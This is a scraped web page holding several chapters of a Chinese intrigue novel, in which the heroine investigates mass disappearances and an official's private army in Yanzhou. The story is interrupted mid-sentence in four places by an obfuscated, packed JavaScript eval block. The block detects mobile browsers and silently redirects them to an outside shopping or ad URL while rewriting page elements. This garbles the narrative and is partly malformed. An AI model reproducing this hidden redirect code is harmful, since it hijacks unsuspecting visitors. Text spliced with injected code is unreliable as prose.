却听得前方吵闹,胤姜离开花园,朝前厅走去,却原来是大门口有吵闹,胤姜隐约瞧着门口那人熟悉,再多走近几步,却原来是闵一水。 胤姜喝止驱赶闵一水的仆人,问闵一水来此做甚,闵一水神色张皇,之前在这磨去了许多功夫,使得他头上汗珠不止,嘴唇隐隐发白,胤姜便将人请到了里间休息。 仆人上好热茶便识趣地退出,胤姜复问闵一水可有什么她帮得上忙的? 闵一水大口饮下一杯茶,见四下无人,才说道,“雪娘子,大人可在?” 胤姜面色镇定,“今日休沐,父亲还未起,若有什么事,告诉我即可,我到时再转告父亲。” 若真有什么消息,她定然是要劫下的,而闵一水并不会防备她,于情,她与闵一水相处还算融洽,彼此的人品并未暴露出什么大缺漏,于理,她是贺含章的女儿,女儿怎么会背叛父亲呢? 闵一水一想也是,便自陈,他本是府衙书吏,负责整理、保管、清点、查勘府衙中的书籍、资料等信息。 他闲来无事,便翻阅府库中记录的档案卷,而在其中,他发现兖州存在许多失踪案,在整个案卷的比例竟还十分庞大! 胤姜疑惑,“失踪案?很多吗?” 闵一水点头,“整个府衙的一年有两千余起案子,包括偷窃等小案子在内,这还只是上报了官府的,但是我细细数过,光是失踪案就占比达九百多件,差不多二分之一的比例!何等蹊跷啊!” 胤姜回想起涂苍说过的那些被装进箱子运到涂煊他们训练地方的人,那些人,难道就是那些失踪人口吗?肯定还不止,还有很多不曾上报官府的呢? 如果一年就有不下九百人,贺含章在兖州差不多十年,岂非是一个很庞大的人数? 私兵,私兵,贺含章的私兵,竟是这样来的?!他莫非是要谋反?竟还敢养私兵?可是他有什么名头谋反呢? 如今朝廷又没出什么大乱子,至少对大多数百姓来说,现在的日子是很安稳的,根本没有到需要流血砍头去揭竿而起的地步啊。 如果不是谋反,那他弄私兵做什么?若是自卫,也未免太过了?还是他在替人养兵,又是谁? 胤姜察觉此事不小,难怪连梁玺都要亲自来兖州,他一个雍京城里金尊玉贵的公子哥儿,千里迢迢跑到这偏僻的西南来,若只是一般小事,倒也不烦劳他亲自跑一趟了。 胤姜作出一副愁眉状,“此事看来不小,我定会禀告父亲,闵小哥,除了我,你可千万不要向其他人透露, 这背后一定有一个庞大的组织体系,非你我两人便能告破,只能等父亲定夺,你也莫去催促他,你表现得慌忙了,万一你身边那个组织的人察觉了呢? 到时候打草惊蛇就不好了,如今什么头绪都没有,待有一些头绪,”胤姜顿一下,神情犹豫, “我也是为你着想,这其中事情复杂,你还是参与得越少越好,但是你放心,你的相报之义,父亲会记在心中的, 所以你也莫要在他面前一直提起,省得他以为你是想借此晋升,再说你只是书吏,又不能行拘捕之责,到时候该如何奖赏? 府衙的规矩你是清楚的,那些案卷,没得许可,哪里是寻常就能直接翻阅查看的呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038221|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>胤姜攻其心房,从利弊两端入手,对闵一水循循善诱,闵一水脸倒是蓦地一红,他光急着来报信,倒是忘记自己所作所为不合规了。 闵一水抠抠脑袋,点点头,对着胤姜连声感谢,胤姜心下无奈,这傻孩子。 闵一水似乎突然想起了什么,继续说道,“其中有一起失踪案,还是我兄长亲自去查办的,我兄长办事认真,于探案一道上有天赋,抓过许多贼,连杀人犯都抓到过好几个, 只是他接手的失踪案,至今都没下落,哦,对了,还有一些案件相关的信息,因他走得匆忙,还没来得及上交府库,我到时再将案卷拿来。” 胤姜凝眸,“兄长?怎么之前没听你说过?他如今可回来了?若是当面问,或许更清晰一些。” 闵一水闻言神情颓唐下来,支支吾吾说道,“他已经死了,他被抽调去押送赈灾银了。” 胤姜怔然,脑中似闪过些什么,又安慰了几句闵一水,临走之前,对闵一水说,“闵小哥,稍晚些时候我来拿吧,你可要记得我刚才说的话,谁都不能相信,谁也不要提起。” 闵一水点点头,脚步匆匆地离开了,他还得赶回去轮值呢。 胤姜静坐,饮了几口茶水,茶味寡淡、略有苦涩,维持着面部平静的神情,胤姜心中却闪过许多疑问,怎么那么巧,查到失踪案线索的差役便被派去了押送赈灾银? 是呢,如果从头到尾都是一个圈套的话,那那些被选中去押送赈灾银的官兵,都是贺含章眼中的异己,借着押送赈灾银这桩事,他铲除异己, 那如今的府衙,全都是他的人,或者说,还有一部分如闵一水一般,不知贺含章底细的闲杂人等。 那家伙,傻是傻了点,可却能活命啊。 胤姜想着,忽然觉得这是一个突破口,府衙派去的押送赈灾银的官兵既然都是贺含章认为的异端,那么总有几个人手中,仍有些贺含章不想要留在这世界上的东西, 只是贺含章也定然想到此茬,怕是家中都翻找过几遍了,不过不管是不是,总得试试,万一有没被贺含章找到的漏网之鱼呢? 胤姜现在手中无人,她将田叶他们都遣回了庆安寨,连苏灼也被她赶走了,如今在淮安的只有她一人, 若是她亲自去盯梢,容易暴露,胤姜还是决定把这个消息给梁玺,让他派遣手下去调查。 胤姜想着也许久没见斐笙花了,也不知那日她可有给贺含章交差?以如今她的身份,必定是不能随意出入缥缈阁的,该怎么去找她呢? 折翠居关了后,因着还有和缥缈阁的送酒生意,胤姜曾亲自去找喜二娘,直接把秘方卖给喜二娘了,还得了一笔丰厚的银子,所以如今她也没有理由再去缥缈阁了,万里长途,竟倒在第一步? 胤姜苦笑,贺府派给她的丫鬟,她可不敢差遣,更不敢使唤她去缥缈阁找人,胤姜再次体会到,手中无人可用的难处,李复跟着梁玺,她总不能再去找梁玺吧? 这事她可是满口应承了的。 就在胤姜一筹莫展之际,门口仆从再次通报,说她之前的小厮找她,胤姜想,李复怎么又来了? 没想到,来人是许久不见的李山川。 李山川风尘仆仆,却神采奕奕,一见到胤姜,张口就喊道, “掌柜的,我回来了,半天才知道你已经把折翠居关了,害得我好找,我不过就回家省亲的功夫,掌柜的,你可不能不要我!!!” 李山川虽然皮肤黝黑,却生得俊朗,此时刻意做得一副可怜又忠诚的模样,胤姜瞧着便不自觉笑了, “回来就好,阿川啊,陪我上街买些东西,”又对贺府的仆从说,“若父亲问起,便说我逛街去了。” 贺府仆从眼神闪闪,怎么有种此地无银三百两的感觉? 特意说是去逛街,便不是真的要逛街。 呦呵,这走了一个小白脸,来了一个小黑脸,还有昨晚上,徐夫人都回来了,这位大小姐还没回来,最后慢悠悠地从一个男人的马车上下来。 啧啧,咱们这位大小姐的行事作风,可真是不好得很啊。 胤姜二人已经走远,贺府下人的闲言碎语她自是不知,管家巡查时听到下人在闲话,直接抬手敲上了说话人的脑壳, “主子也是你们能议论的?干活!” 不过若是胤姜知道的话,也只会笑,不会争辩,这不是正合她意吗? 说她和男人鬼混,总比怀疑她在暗地里搞破坏强吧,毕竟这个解释,好似还真的不错,不然,她有什么和他们谈的? 总不能说他们在谈正事吧? 胤姜借着去布匹店试衣服的空档,让李山川翻墙离开去缥缈阁找斐笙花,约定时间见面。 李山川回来时,胤姜正好也帮李山川拿了些衣服,一直佯装里间有人,骗过了时不时来递衣服的布匹店小厮。 李山川随手拿了一件换上,二人出了布匹店,顺着这嘈杂的人声,才和胤姜说起在山上挖宝箱的事情。 据李山川说,他们沿着那条小河一直往上,但是什么都没遇到,他们甚至都去到了一个古怪的村庄,但是他们想往里面走的时候,那些村人都发起疯来阻拦他们,大有一副你死我活的样子。 李山川叹气,“挖宝这事就停在那了,明面上是走不通了,背地里也试过,但是那村里的人防守很严。 大当家说,他们可能信仰着某种山神,认为有山神在山中庇佑他们,所以他们才会定期举行祭拜仪式,甚至还要用活人来祭奠。 不过大当家也说了,真神才不会用这种屠杀生灵的方式来祭奠,只有邪神才会如此需要鲜血。 哎,这番话本身只对我们说的,没想到虎子脾气上来,直接用这句话去叫骂,如今双方一直僵持着,难哦。” 李山川叹口气,胤姜静静听着,她之前去那个村子的时候就觉得古怪,只怕父亲他们还需要再磨很久,胤姜问道,“是父亲让你下来帮我的?” 李山川点头,“因为四当家回来了,还表现得十分生气,所以大当家叫我来帮你。” 63. 问案 胤姜没说话,苏灼定然在胤敞面前搬弄是非,也不知父亲是何打算,于是问道,“父亲只是让你帮我?没让你做其他吗?阿川,我要听实话。” 李山川默了一下,答道,“大当家担心你,嘱咐我,若是事情一有不对,不择手段都要将你带回山寨。阿月,大当家的担心不无道理,你我不过凡人,没有能扭转乾坤的本事。” 胤姜面上带笑,“你当我傻啊,若真要出事,我还不知道跑啊?现在不还没什么事情嘛,阿川,你放心,我聪明着呢。” 胤姜又让李山川去给梁玺送信,让他去罹难兖州府衙官兵的屋中翻找证据,或找亲近之人询问。 胤姜带着李山川在外面又逛了些时辰,买了不少东西,瞧着日影西斜,黄昏已至,胤姜和李山川如约来到了靠近花月巷的一家小酒楼,主菜快上齐之时,雅间的门被推开,赫然是斐笙花。 斐笙花今日稍加打扮,并不隆重,瞧着清丽灵秀至极,她再回缥缈阁后,喜二娘也不怎么限制她走动,她接客与否也全看心情,以及贺含章的安排。 斐笙花坐定,却见胤姜点的其中一道菜是酱豆腐,将被水泡烂的酱豆和豆腐一起入锅翻炒,闻着吃着都十分香,斐笙花会心一笑,那是她幼时最爱。 她和胤姜以前在慈幼院之时,因着条件不优越,基本上一月吃不到多少荤腥,那掌勺的大厨为了给他们这些豆芽菜补充点营养,特意弄了点豆腐。 别说豆腐虽不是肉,但是若切成肉丝模样,配以酱豆一起炒,瞧着也和炒肉丝差不了多少,后来入了缥缈阁,识了几个字,才知道,原来那叫望梅止渴。 斐笙花垂下眼睫,缥缈阁的生活纸醉金迷,却是她再熟悉不过的环境,可能逃出后又进入慈幼院的日子才是她的一场梦,梦醒了,她又回到了花楼里,从一个小小的花娘做起,斐笙花至少有一点是明白的,那就是芳华易逝,做花娘,春风得意的就只有那几年而已。 斐笙花想,就为着那几年,拼一拼,搏一搏前程,就这样,她渐渐变成了坊间传闻里长袖善舞、倾国倾城的花魁,什么山珍海味,什么金银细软,什么人间富贵,都触手可得。 那一碗酱豆腐,早就失却在她的记忆中了,斐笙花望着酱豆腐失神,她知道,胤姜今日找她,定是有事相求,她想要做的事情斐笙花隐隐有猜测,但她着实不能帮她,她帮胤姜瞒着假身份已经够仁至义尽了,再多,她会死的,胤姜也会死的,贺含章非善类。 斐笙花神色平静,刻意避开酱豆腐不吃,胤姜心中打鼓,刚想说些话来暖和一下气氛,斐笙花却提前开口了,“有些东西幼时喜欢,但是长大后却观感平平,正可谓时移世易,沧海桑田,最是正常不过。” 胤姜听到这番话就已经明白,这是斐笙花在委婉拒绝的意思,她并不想掺和太多,她宁愿捂住耳鼻不闻不问,也不愿意淌这趟浑水。 “柳儿,”胤姜再次开口,想着如何说服她,又见斐笙花神色坚定,面无波澜,只得轻轻叹口气,“我只想求你两件事,你只需要告诉我你知道的就行,多的我也不问,此后我再也不来烦你。” 胤姜定定地看着斐笙花,就差四指指天发誓了,这也是她的心里话,她也不想再去打扰斐笙花,那样只会一次次消耗她们的旧时情谊,阔别多年,曾经再深的友谊都被冲刷淡了。 斐笙花低垂眉眼,默然一瞬,“你先说吧,你想问什么?” 胤姜先从那个逃跑的花娘开始问起,”听闻前段时间刘玄买回家一个花娘,你对她的来历可曾了解?如果她要逃跑,你觉得她会去哪里?我对她无恶意,甚至我还可以为她提供保护,只要你告诉我她的行踪,我绝对不会让她落到刘玄手中。” 胤姜说得信誓旦旦,斐笙花眼皮一跳,“你为何要问她? 她不过一个小姑娘而已,不想富贵,只想跟她的情郎在一起,她没什么古怪的,大约是四年前被拐子卖进来,就是烧糊涂了,失去不少记忆,不过看她的模样,应该是大户人家的小姐,不然就是自小培养的女干子。 她双手纤细光滑,没有丝毫做过重活儿的样子,还有牙齿,一看就是自小吃的细粮,没有多少磨损,其实最重要的是眼神,自小娇宠大的孩子,眼神是澄澈的。 不过我并不知道她到底出自什么样的人家,反正她自己也不知道,其实不知道还好,省得日后想起来了,还得担心对不起高堂列祖。 你莫非是觉着她和那周将军养在外面的外室有几分相似,便觉得这二人沾亲带故?呵,也不是没有这种可能,不过,这却是不可能的。” 斐笙花直直看向胤姜,眼中藏着某种深意,或许那正是胤姜想要知道的,斐笙花笑笑,“你是想问周思捷吧?不然我实在不知道,你还有什么地方要找我帮忙,是因为周滔?” 胤姜点头,眼神诚挚。 “旁人可不会轻易在我面前提起他的名字,阿月,只有你,”斐笙花微不可言的叹口气,“我是不可能再接近周滔帮你问周思捷的事情的,所以,恕我帮不了你。” 这在胤姜意料之中,恋人反目,再遇本就难堪,她也不想再会梁玺,尴尬得很。 胤姜转而又问道,“为何那外室和花娘不可能是亲人?” 斐笙花摇头笑笑,风情万千,“阿月,你不若先去查查那外室的身份,或许你能得到你想知道的。” 胤姜怔然,却也知道斐笙花不会再说更多,便只能作罢,除去这些话题外,她竟不知道和斐笙花谈什么,总不能再回忆过往吧,说现在呢?现在又聊什么呢? 她和她已经走在不同的路上,共同话题寥寥。 斐笙花似也窥见胤姜的无措,起身告辞,胤姜瞧着斐笙花远行的身影,心中怅然若失,甩甩头清除杂念,又问李山川,“他那边,可有什么回复?” 在胤姜和斐笙花谈话之际,李山川被胤姜派去找梁玺问进展,李山川施展轻功来回不过须臾,静候在外直至斐笙花出门,李山川回道, “他们虽拿到去押送赈灾银官兵的卷宗,还去了他们的家中,不过,他们的亲属大多都搬家了,听闻府衙抚恤银给得不多,那段时日正好也是府衙亏空比较严重的时间,毕竟那么多灾民等着吃饭,所以当时府衙给出的抚恤方式是给房子和给地。 大水淹没了不少地方,人也死了不少,很多田地都被收归官府,进行再次分配,分给这些罹难官兵亲属们的都是城镇上的房子,还有田地,也有三四十亩,如今水退了,不少人都搬离了曾经的住宅,而去了官府新分配给他们的房子。 说实话,如果不在城中生活,就这些房子和土地,也够他们做个富足的农民了,根本不需要再留在淮安打工,而更神奇的是,很快他们这些人卖出的房子便被人买了。” 李山川话说到这里,情况已经很清晰了,胤姜明了,府衙给予重利让他们搬迁,而等这些人搬走,贺含章再找人来收房,就可以顺理成章的在房子翻找东西,更甚至,那些被找来搬家的工人们都是被提前收买的人,呵呵,真是好算计啊,釜底抽薪。 胤姜想到此处,神色冷了几分,“所以,都不可能再找到什么遗留的东西对吗?若想打听这些官兵的生平,问亲人他们也未必知道,但是问同僚,却多半清楚,只是所谓的同僚啊,多半都不会开口。 那他们办的案子呢?按照道理来说,贺含章是他们的上司,做下属的就算再不长眼,也不会明晃晃的去得罪上级,那可是涉及饭碗的事情啊,所以这些人,到底是因为什么原因,被贺含章视为眼中钉呢? 会不会就是他们曾经涉及到什么案子,贺含章为防万一,所以直接斩草除根。” 李山川点头,“洛公子也是这样想的,”李山川并不知道梁玺和胤姜之事,但是梁玺的身份早已经被苏灼透露给胤敞了,胤敞听完陷入久久地沉思,才把李山川唤去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050617|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他多加嘱咐。 “洛公子已经派人去查探了,他们动作挺快的,毕竟人也很多,虽然那院中看上去没什么人,可是我感觉得到,有不少人藏在暗处,而且功夫应该不错。” 李山川提及梁玺身边守卫的情况,胤姜却恍然,她好似和梁玺在一起时,从未察觉过他身边跟着暗卫,可是她的武功不比李山川差,所以不是她没察觉,而是梁玺把暗卫都撤下去了吗? 胤姜瞧着昏黄的天空中开始被墨色晕染,街上人烟变得少起来,“我们去找闵一水吧,毕竟此事是他揭破的,说不定,他那死去的兄长手中,还留着不少线索。” 胤姜曾听过闵一水提到住址,凭证记忆敲响了大门,敲门许久却没人开,胤姜生出不好的预感,莫非是贺含章察觉早上登门有异常,派人来清理门户? 胤姜示意李山川,一起翻墙进去,没想到李山川刚跳到墙头,便听到有人喊道,“有贼啊!” 这声音却是熟悉,正是闵一水,胤姜神色一喜,朝着发声的地方喊道,“闵小哥,是我,我还以为这里是你家呢?” 闵一水从此处的右边第二家开门来,探个脑袋,看着胤姜和李山川,“雪娘子,这里才是小生的家,快快进来,莫让人看见了,到时候真抓你们去见官。” 待二人进得闵一水家中,闵一水备好热茶倒给二人,又四下瞧瞧,才钻进里屋中,不知翻腾些什么,闹出些许不大不小的动静,胤姜二人静心喝茶,四杯茶下肚,闵一水才从屋中出来,手中拿了几本记录簿。 “兄长就记了一些东西在上面,他之前在查失踪案,上面也写了不少,不过兄长字迹比较潦草,而且写得并不细致,可能需要再次进行现场勘察才行,光看是看不明白的。” 闵一水解释道,胤姜接过闵一水手中的记录簿,上面写了不少东西,纸张都发黄了,从第一页翻起,可以追溯到一年前,看样子应该凡事接到他手中的案子,都写在这个本子上进行整理。 胤姜直接翻到最新一页,找到写了“卢家村失踪案”的地方,潦草的字迹写着“无苦主”、“多人失踪,被骗?被害?死?活?”、只有“私奔?”上面划了一个大大的叉。 胤姜整合该案笔记,这案子的大概情况应该是这样的:那村中来了一个杂耍戏班,驻扎在村口,场场爆满,而等到第五天,那杂耍班子离开之后,村人才发现村中少了好几个姑娘,俱是妙龄少女,当然,不只是姑娘,还有几个年轻力壮的小伙子。 卢家村多的是老人孩子,青年人少,大多都外出挣钱了,所以这失踪的几个有劳动力的青年姑娘,就被传出私奔的谣言,都说是这几个失踪的少年少女看了杂耍戏,瞧见了外面日子的好, 又加上年轻,满肚子儿女情长,说他们耐不住山中寂寞,所以才会私奔去外面的,本来事情该就以谣言结束,但是村长为防万一,还是给里正报了个备,这事偏巧就被写笔记的这位捕快看见了...... 胤姜合上笔记,又瞧了其他几本,有些是之前记的笔记,有一两本是杂书,但是好像都没什么价值。 过程如何已经不重要了,结果是他们都失踪了,而且都去了一个训练场,胤姜想着,心情不免沉重起来,光从这上面,倒是看不上跟贺含章有什么关系。 不过,胤姜又问道,“你兄长的亲属是否都已经搬家了?这几本是恰好他放在这忘记拿回去的吗?” 闵一水惊奇,“雪娘子,你怎么知道兄长的亲人都搬了?大人对他们可大方了,毕竟也是为朝廷出的事情,抚恤给得很足,这几本,是兄长放我这儿,说让我给他保存的。” 胤姜向闵一水借了这几本记录簿回去,出来时天已经大黑了,李山川边走边问道,“明天你们是不是要去净慈庵祈福?可需要我陪着?” 胤姜皱眉,“净慈庵乃是尼姑庵,不接待男客,不若你就当车夫吧,”胤姜顿了一下,“阿川,” 64. 会面 李山川回望着胤姜,胤姜展颜一笑,“我真的很高兴,你能回来,谢谢。” 李山川挠挠头,胤姜突然这样郑重,倒是让他有些不知所措,“反正闲着也是闲着嘛。” 翌日,净慈庵。 天灰蒙蒙的,似乎要下起小雨,空气中弥散着一股燥热之感,让人浑身汗腻。 胤姜来的时候,白朦水已经上了一炷香,正在厢房休息。 徐乔今日偶感不适,胤姜便让她在家中好生休养,有她去上香足矣,待胤姜为徐乔的孩子祈福完成,问了一个小沙弥,来到了白朦水休息的厢房中。 房间古朴素雅,隐隐环绕着一股香火气息,胤姜坐定,笑着与白朦水寒暄一二,直到窗外偷听的人影离开,胤姜才驶入正题, “江夫人本也想来的,只是后来又想这里的佛与她在家中供奉的佛都是一样的,与其和别人一起分享上供的香火,不如独享,是以并未前来。” 胤姜说的假话,既然白朦水约她来问的是江依,那她便从江依讲起,哪怕这是一个骗局。 白朦水帷幕下的视线似乎锁定在胤姜脸上,似乎在斟酌她所言真假,但是很快那道视线便移开,白朦水开口说道,“你是知道的,她只怕已经恼了我,如何会见我?” 胤姜本想装傻,但是白朦水提到这茬,胤姜却好奇白朦水是如何知道的,于是问道,“你二人之间的事情,我如何知道?原来,你们竟闹了矛盾,可需要我帮忙,在她面前说说情?” 胤姜觉得那道锐利的视线又凝固在她脸上了,白朦水轻笑一声,“那地窖你们去过了吧?下面什么东西不见了,还需要我说吗?” 胤姜呼吸一滞,好家伙,直入主题啊,“那夫人愿意归还吗?” 白朦水摇头,“你觉得那东西还存在在这个世界上吗?” 胤姜自然要点头,“与虎谋皮,怎么也得给自己留点退路才是,以夫人的聪慧,应当不会一点后手也没有留吧。” 白朦水跳过这个问题,模棱两可的回道,“那贺小姐做这样的事情,可曾给自己留过退路?是谁?洛公子吗?你们走得亲近,他与施邛也很亲近。” 胤姜听到这里,疑心贺礼死的那夜,他们扮成施邛手下的卫队早已经在白朦水监视之中,不免觉得有几分棘手,“夫人也认识施将军?” 白朦水勾勾嘴角,“施邛,出身寒门,曾经中过武状元,拜入汉威侯黎坚门下,算是黎家的亲信之一,你可有想到谁?” 胤姜恍然,好似所有的线都被连起来了,黎清元,黎家,梁玺,李复,施邛,一个黎清元,串起了他们,“灵风将军,黎清元。原来如此。” “施邛的动向一向为那人所关注,特别是黎清元死在兖州后,其实那夜他孩子死了,也无心再去操心许多,我得了消息,将其压下, 虽然表面上看,施邛的队伍没什么不对,可是,人却多了几个,这变化说大不大,说小不小,偏生,那地方又是江氏酒楼,我不得不怀疑啊。” “为什么?”胤姜问,为什么帮他们? “投桃报李而已,我也有想要得到的东西,他们不给我,以为让我活到现在就已经是恩赐,我不高兴,我也不乐意,我想要他们知道,小看女人,是会死无葬身之地的。” “好,开门见山,你想要什么?白家? 我以为白家早已经是你的囊中之物,你不应该是为白家发愁啊,还是白窈珈?她是你女儿,你自然想将自己能够到最好的东西给她,给她一个白家,好像又太少了点? 你想要什么?”胤姜看着白朦水,似乎想要看穿这个女人。 白朦水默了一晌,“我想给她底气,让她有勇气、有能力面对世人的鄙薄和流言蜚语,我想做她最强大的后盾,任她自由快活的生活, 我想她能够施展抱负、不负此生,我想,我想她永远不会担心跌倒,不会遇到伤害,不会遭受背叛,不会遇到欺骗——可是我知道,这只是虚无的想象。 我只能变得更强大,在她还未生出羽翼的时候将她保护好,而不是任她出去遭受风吹雨打,体会人情冷落——你不是母亲,或许感受不深,没关系,这并不影响你我谈条件。 你是为谁做事?可有盟友?那钦差沈岩可是你靠山?” 白朦水问得直接,却切中要害,确实,唯有权力才能制约权力,她需要胤姜这边有足够的可以赢的筹码,她才能下注在这边,至少搏一搏。 胤姜在思索如何答她,思来想去觉得还是坦白比较好,“为自己,我们都是为了自己和自己的亲人爱人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064094|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当然,也不乏为了钱权名利,但是没关系,我们至少利益一致,至于沈岩,我不认识他,但是我的盟友之一与他很是相熟,二人本也就是朝廷派来的人。” 白朦水没问胤姜人是谁,而是直接给出了考验,“最近闹得很热闹的刘玄美妾外逃一事,你清楚吧?若想让我相信你们的本事,把那花娘和外室的身份都找出来,你自然就知道该怎么做了。” 胤姜凝眉,又是她们二人?难不成还是关键人物? 白朦水说道,“她们说重要也重要,说不重要也不重要,看是对谁来说,或许啊,握住一人,便握住了一个把柄。” 白朦水自觉已经讲得很清楚,也不再多说,起身离去。 怀着满腹疑问,胤姜又来到金玉园中找梁玺,苍天可见,若非实在没法,她是真不想来。 “你当时为何要我找她二人下落?是否你有瞒着我的地方?白朦水有松动之意,这也是她给我们的考验。”胤姜故作淡然说着道。 梁玺手中正拿着一卷书册,闻言放下书册,“白朦水?她为何愿意帮我们?你小心些,她的话不可尽信。 至于那周思捷的外室,我只是觉得奇怪而已,为什么周思捷会养一个这样的外室,事出反常必有妖,我便让人去查探,发现了一些很奇怪的东西,首先,那外室没有户籍,所以也没有奴籍,严格来说算是没有登记在册的黑户。 其次,那院子中只有几个下人,不是眼瞎就是耳聋,亦或者二者兼而有之,这实在不像是金屋藏娇的模样。 最后,好端端的,刘玄捉拿逃妾,怎么会捉到那外室头上去?听闻一般她都不出门,街坊四邻中见过她的人并不多,大多只是知道隔壁住了一户人家,还经常发出些奇怪的声响。 一个在逃的妾室,一个幽居在家的外室,偏生还有几分相似,看起来倒像是有心人牵引一般,我不信天底下有这样的巧合,而且这异动,定然引起了背后势力的注意。 那外室周围,多了许多看似游荡的行人,实则是负责监视的探子们。” 胤姜接过梁玺的话茬,“最容易造成这误会的地方,就是刘府派去捉逃妾的下人,若真说有人推波助澜的话,那便是白朦水无疑了,可她这样做,不是会引得贺含章的警觉吗?反倒不利。” 65. 会面2 梁玺不置可否,“她有她推辞的办法,虽然可疑,但却未必会对她下手,毕竟,是刘玄派去的下人不是吗?若真是她想要借机掀出些什么,那还是只有在那外室和花娘身上做文章。” 胤姜点头,又问道,“那日涂苍说的事情有进展吗?贺含章缺了一个臂膀,能利用的无非那几个势力,何况,在他眼中,你也是能利用的人选,你有一条独特的运输线,若他想要将那些银子运去栽赃,肯定少不了你。” 梁玺看向胤姜,见她双眼澄澈赤诚,不禁一笑,心中却隐隐发痛,“他们虽会用我办些事,但是这等紧要之事,却不会找我,你可曾记得,之前你那假丈夫在我的商队中发现的那些有异动的人? 商白也一直盯着呢,我当时想看看他们究竟是想做什么?是眼红我这泰极商行发展得如此迅猛、想搞破坏,还是想捏造一个把柄、好借此拿捏我。 可是他们已经捏住一个洛朽今的命脉,难道是觉得一个不够,还需要再捏造一个把柄,以便更好地控制我吗?” 再后来,贺含章又为我送来你,一个巴掌,一个甜枣,贺含章已经给够,就算不是彻底相信他,也会让他去做一些不太能见光的事,毕竟已经被贺含章绑在一条绳了。 梁玺没继续说的是,贺含章有段时日没吩咐他做事了,时间节点大概是和胤姜一起从邓氏铜矿出来之后,当然,为此贺含章还特意把他叫过去敲打一二,又旁敲侧击的问胤姜的想法。 梁玺免不得又被贺含章萝卜加大棒威逼利诱一番,他表面顺从,贺含章也看似无疑虑,但是若真的毫无疑虑,这段时日便不会不找他做事,多半是怕他猜到他们在做什么,然后反过来威胁他们吧。 胤姜回,“把柄这东西,当然是越多越好啊,”忽而想到了什么,“也不止贺含章想拿把柄来拿捏你,贺含章手下的人替他办了那么多事,难道没有给自己留点证据吗? 当年邓波一家人的死,会不会就是因为他想威胁贺含章,所以反而被灭口了?是以,贺含章才会如此小心提防,防的也是他这些手底下的人。” 梁玺眸光一闪,“有可能,我曾查过邓绥的底细,他课业不错,每年州府都会举办簪花会,历年来成绩优异的考生、学子都有资格参与,这些学子们也可以借此结交权贵以及同窗,彼此紧密团结在一起。 邓绥毫无疑问也是靠这个机会接近的贺含章,他算得上年少成名,十六岁中秀才,领先同龄人不少,如果要推知贺含章和邓绥的初遇,也大抵可以推到那个时候。” 胤姜疑惑,邓绥如今不过二十有二,那大概就是六年前的事情,而两年后,邓绥就取代了邓波,成了邓氏的实际当家人,又在次年,考中了举人,春风得意都不足以形容。 “可是从钟伯那边的线索来看,邓波之死和刘玄的关系更大,和邓绥之间,差动机和证据,我了解过,邓绥自幼孤苦,而邓波的妻子邓安然对他照拂良多,从种种痕迹来看,邓绥与邓波一家的关系甚好,连邓绥的养父母都是邓安然帮他找的。” 胤姜回忆起从钟伯那边得到的线索,刘府管家刘富拿钱收买那些矿工家属,让他们去杀死邓波一家人,已经是板上钉钉的事情,除非,刘富并不受命于刘玄,而是另有其人。 虽然胤姜很想怀疑白朦水,但是如果是白朦水,她不会让他们来查这些事,难道是邓绥?可是刘富和邓绥的关联并没有找到啊,刘富为什么要帮邓绥呢? 梁玺看事的眼光却稍不同于胤姜,倒不是其他,只是因为他是男子,对男子的想法,总是多了解那么一点,梁玺被邓绥威胁又妥协之际,也曾在邓绥脸上见过几分柔情,虽只有几分,却令梁玺吃惊。 那时他尚且不是特别明白,何为百炼钢化为绕指柔,如今回想起那时邓绥的神情,却也分明是怀念情人的模样,情人,邓绥的情人, 梁玺眸光微深,在他得到的有关邓绥的消息中,却不曾说过邓绥有情人啊,他多在书院中,回到家中也不过与二三好友约着,说胡作非为,他不曾亲自参与,说花天酒地,他也甚少留宿,邓绥好似游离于那群狐朋狗友之外,却也不是特别正经的读书郎。 梁玺陡然生出一种荒谬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081345|130487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猜想,却还得细细验证才知,暂时,梁玺看一眼胤姜又迅速划开,暂时莫让她知道了。 